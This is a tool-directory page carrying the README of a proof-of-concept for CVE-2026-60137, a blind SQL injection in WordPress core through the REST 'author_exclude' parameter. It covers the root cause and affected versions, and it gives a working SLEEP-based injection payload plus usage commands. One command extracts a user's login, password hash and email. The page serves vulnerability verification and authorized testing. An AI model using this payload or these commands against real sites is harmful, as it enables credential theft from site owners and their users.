Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-60137-WordPress-Core-SQL-Injection-PoC — Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (`WP_Query::author__not_in`), reachable via the REST API's `author_exclude` parameter. | Kitploit
Tools/GitHubGitHub/abdullahmaqbool22/cve-2026-60137-wordpress-core-sql-injection-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubabdullahmaqbool22/cve-2026-60137-wordpress-core-sql-injection-poc

CVE-2026-60137-WordPress-Core-SQL-Injection-PoC

Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (`WP_Query::author__not_in`), reachable via the REST API's `author_exclude` parameter.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-60137 — WordPress Core SQL Injection PoC

Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (WP_Query::author__not_in), reachable via the REST API's author_exclude parameter.

Root Cause

WP_Query::get_posts() builds SQL by string-concatenating the author__not_in query variable into:

root@kitploit:~
... AND {wpdb->posts}.post_author NOT IN ( <value> )

The value is sanitized (per-element absint) only when it arrives as an array. If a scalar string is delivered — the REST author_exclude parameter maps internally to author__not_in — the sanitization guard is skipped and the raw string lands inside the clause, resulting in SQL injection ().

is_array()
NOT IN (...)
CWE-89

A payload of the form 1) OR SLEEP(6)# produces:

root@kitploit:~
post_author NOT IN ( 1) OR SLEEP(6)# )

which parses as post_author NOT IN (1) OR SLEEP(6) (the trailing ) is consumed by the # comment) — a clean, time-based blind oracle with zero database writes.

Affected / Fixed

Affected6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
Fixed6.8.6, 6.9.5, 7.0.2 (2026-07-17)
CVSS 3.1AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (standalone sink)
Chainedwith CVE-2026-63030 (REST batch route confusion) → 9.8 pre-auth RCE on 6.9.0 – 7.0.1

Reachability notes

  • 6.9.0+ — sink reachable pre-auth via /wp-json/batch/v1 route confusion.
  • 6.8.x — the REST schema rejects a scalar author_exclude (HTTP 400) on the stock posts route, so the sink is typically reachable only when a plugin/theme forwards untrusted input, or through an authenticated session (--cookie) via the batch route.

What the script does

cve_2026_60137_poc.py is read-only against the database:

  1. Fingerprints the target (generator meta tag, feed, readme.html, /wp-json/ index) to check whether the version is in an affected range.
  2. Detects the injection with a time-based oracle: baseline vs. a SLEEP(0) parse-control vs. a SLEEP(n) payload, across several delivery vectors (direct REST routes, ?rest_route=, and the batch endpoint), and reports a verdict per vector.
  3. Optionally extracts a wp_users row (user_login, user_pass, user_email) via blind binary-search timing, strictly using SELECT/SLEEP — it never writes to the database.

Usage

root@kitploit:~
# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe

# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3

# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
    --cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1

# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
    --proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json

Options

FlagDefaultDescription
--urlrequiredTarget base URL
--safeoffFingerprint only; send no payloads
--sleep6SLEEP() seconds used by the detection oracle
--samples3Timing samples per measurement (median is used)
--threshold0.7Fraction of --sleep treated as a positive delta
--extractoffExtract a wp_users row via the blind oracle
--user-id1wp_users.ID to extract
--extract-sleep2.0SLEEP() seconds per extraction probe
--limit64Max characters per extracted field
--only-vector—Only test vectors whose name contains this string
--cookie—Authenticated cookie for auth-gated vectors
--proxy—HTTP(S) proxy, e.g. http://127.0.0.1:8080 (Burp)
--timeout30Request timeout in seconds
--no-verify-tlsoffDisable TLS certificate verification
--json-out—Write machine-readable evidence to a JSON file

Legal / Responsible Use

This tool is provided for authorized security testing only — penetration tests, CTFs, and research against systems you own or have explicit written permission to assess. Running it against systems without authorization is illegal. The author accepts no liability for misuse.

Any output written with --json-out may contain the tested URL, version fingerprint, and timing evidence — treat it as sensitive engagement data.

Download Tool